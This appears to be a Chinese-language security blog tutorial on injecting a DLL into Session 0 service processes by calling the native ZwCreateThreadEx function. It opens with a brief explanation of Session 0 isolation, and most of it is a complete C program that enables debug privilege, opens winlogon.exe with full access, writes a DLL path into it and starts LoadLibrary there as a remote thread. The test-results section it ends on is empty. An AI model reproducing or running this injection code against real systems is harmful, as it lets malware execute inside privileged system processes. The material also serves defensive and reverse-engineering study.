突破SESSION 0隔离的远程线程注入
与传统的 CreateRemoteThread 函数实现的远线程注入 DLL 的唯一区别在于,突破 SESSION 0 远线程注 入技术是使用比 CreateRemoteThread 函数更为底层的 ZwCreateThreadEx 函数来创建远线程,而具体的远线程注入原理是相同的。
SESSION 机制使得其创建一个进程之后并不会立即运行,而是先挂起进程,在查看要运行的进程所在的会话层之后再决定是否恢复进程运行。在使用 CreateRemoteThread 执行远线程创建的时候,会调用底层函数ZwCreateThreadEx函数执行创建远程线程,在进行服务进程的注入的时候, ZwCreatedThreadEx 的参数 CreateSuspended(也就是 CreatedThread 标志位)一直为1,这也就直接导致注入的线程一直处于挂起状态,无法运行。
过程:
- 基本思路:服务运行在高权限,因此在注入之前需要先提权,获取相应的权限
- 获取要注入的目标进程的 PID
- 执行注入操作
- 执行注入操作使用函数 ZwCreateRemoteThreadEx
#include<stdio.h> #include<Windows.h> #include<Tlhelp32.h> #include <tchar.h> #define DestProc _T("winlogon.exe") //要注入的Session 0的进程,截屏进程 //提升为调试权限 BOOL SunEnableDebugPrivilege(BOOL IsEnable) //IsEnable为TURE就是升成xx权限,而FALES为收回权限 { BOOL IsOk = FALSE; HANDLE TokenHandle; //打开当前进程,获取其令牌句柄,用于调整权限 if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &TokenHandle)) { TOKEN_PRIVILEGES TokenPrivileges; //定义调整权限的填充值 TokenPrivileges.PrivilegeCount = 1; //要调整权限的数量 LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &TokenPrivileges.Privileges[0].Luid); //查询xx权限对应的id Luid TokenPrivileges.Privileges[0].Attributes = IsEnable ? SE_PRIVILEGE_ENABLED : 0; //三目运算,IsEnable为TURE就取SE_PRIVILEGE_ENABLED,而FALES为0 AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL); //调整进程权限 IsOk = (GetLastError() == ERROR_SUCCESS); CloseHandle(TokenHandle); } return IsOk; } // char双字转char单字 BOOL SunUnicodeToAnsi(WCHAR* WideString, char** MultiByteString) { DWORD MultiByteStringLength; if (!WideString) { return FALSE; } MultiByteStringLength = WideCharToMultiByte(CP_ACP, WC_COMPOSITECHECK, WideString, -1, NULL, 0, NULL, NULL); *MultiByteString = (char*)malloc(MultiByteStringLength * sizeof(CHAR)); if (*MultiByteString == NULL) { return FALSE; } WideCharToMultiByte(CP_ACP, WC_COMPOSITECHECK, WideString, -1, *MultiByteString, MultiByteStringLength, NULL, NULL); return TRUE; } // 枚举进程,找到目标进程 BOOL GetProcessIDByName(TCHAR *name, PDWORD pid) { PROCESSENTRY32 pe32 = { 0 }; pe32.dwSize = sizeof(PROCESSENTRY32); HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);//拍进程快照 if (INVALID_HANDLE_VALUE == hProcessSnap) { printf("CreateToolhelp32Snapshot Error :%d", GetLastError()); } BOOL Ret = Process32First(hProcessSnap, &pe32);//枚举快照 while (Ret) { SIZE_T len = _tcslen(pe32.szExeFile); if (!_tcscmp(pe32.szExeFile,name)) { *pid = pe32.th32ProcessID; // 得到目标进的Pid break; } Ret = Process32Next(hProcessSnap, &pe32);//下一进程信息 } return TRUE; } int main() { //基本思路:服务运行在高权限,因此在注入之前需要先提权,获取相应的权限 //获取要注入的目标进程的PID //执行注入操作 //执行注入操作使用函数ZwCreateRemoteThreadEx /********************************Step1:当前进提权**********************************/ HANDLE hProcess = GetCurrentProcess(); DWORD pid; const char* DestPower = "SeDebugPrivilege"; BOOL Ret = SunEnableDebugPrivilege(TRUE); // 当前进程提权 if (!Ret) { MessageBox(0, _T("提权失败"), _T("失败"), 0); return 0; } /********************************Step2:获得目标进程句柄**********************************/ // 提权之后,匹配要注入的进程的PID,做进程遍历 BOOL bRet = GetProcessIDByName((TCHAR*)DestProc, &pid); if (!bRet) { MessageBox(0,_T("获得id失败"), _T("失败"), 0); return 0; } //打开目标进程句柄 HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS, NULL, pid);//打开进程句柄 if (!handle) { DWORD Error = GetLastError(); printf("%d", Error); MessageBox(0,_T("打开句柄失败"), _T("失败"), 0); return 0; } /********************************Step3:将dll路径写入到目标进程中**********************************/ //申请空间,分配相应的权限 LPVOID lpaddress = VirtualAllocEx(handle, NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE); if (!lpaddress) return 0; TCHAR DllFullPath[MAX_PATH] = { 0 }; ULONG32 DllFullPathLength = 0; GetCurrentDirectory(MAX_PATH, DllFullPath); // 获得当前进程这个路径 // L"C:\\Users\\Lenovo\\source\\repos\\测试\\测试" _tcscat_s(DllFullPath, _T("\\mydll.dll")); // 要注入dll的完整路径 // L"C:\\Users\\Lenovo\\source\\repos\\测试\\测试\\mydll.dll" DllFullPathLength = (_tcslen(DllFullPath) + 1) * sizeof(TCHAR); // 向申请的内存空间写入数据(dll完整路径) bool write = WriteProcessMemory(handle, lpaddress, DllFullPath, DllFullPathLength, NULL); if (!write) return 0; /********************************Step4:调用ntdll中函数ZwCreateThreadEx启动远程线程**********************************/ // 加载ntdll.dll HMODULE hNtdll = LoadLibrary(_T("ntdll.dll")); if (NULL == hNtdll) { printf("加载ntdll.dll失败!"); CloseHandle(hProcess); return FALSE; } // 获取LoadLibrary函数的地址 HMODULE kernel32Base = GetModuleHandle(_T("kernel32.dll")); #ifdef _UNICODE FARPROC pFuncProcAddr = GetProcAddress(kernel32Base, "LoadLibraryW"); #else FARPROC pFuncProcAddr = GetProcAddress(kernel32Base, "LoadLibraryA"); #endif // _UNICODE if (NULL == pFuncProcAddr) { printf("获取LoadLibrary函数地址失败!"); CloseHandle(hProcess); return FALSE; } // 获取目标函数地址ZwCreateThreadEx #ifdef _WIN64 typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, // 32/64位不同点 SIZE_T StackSize, // ... ... SIZE_T MaximumStackSize, LPVOID pUnkown ); #else typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, // 32/64位不同点 DWORD dw1, // ... ... DWORD dw2, LPVOID pUnkown ); #endif typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(hNtdll, "ZwCreateThreadEx"); if (NULL == ZwCreateThreadEx) { printf("获取ZwCreateThreadEx函数地址失败!"); CloseHandle(hProcess); return FALSE; } HANDLE hRemoteThread = NULL; DWORD dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, handle, (LPTHREAD_START_ROUTINE)pFuncProcAddr, lpaddress, 0, 0, 0, 0, NULL); if (NULL == hRemoteThread) { printf("目标进程中创建线程失败!"); CloseHandle(hProcess); system("PAUSE"); return FALSE; } printf("注入成功"); system("PAUSE"); return TRUE; }
测试结果: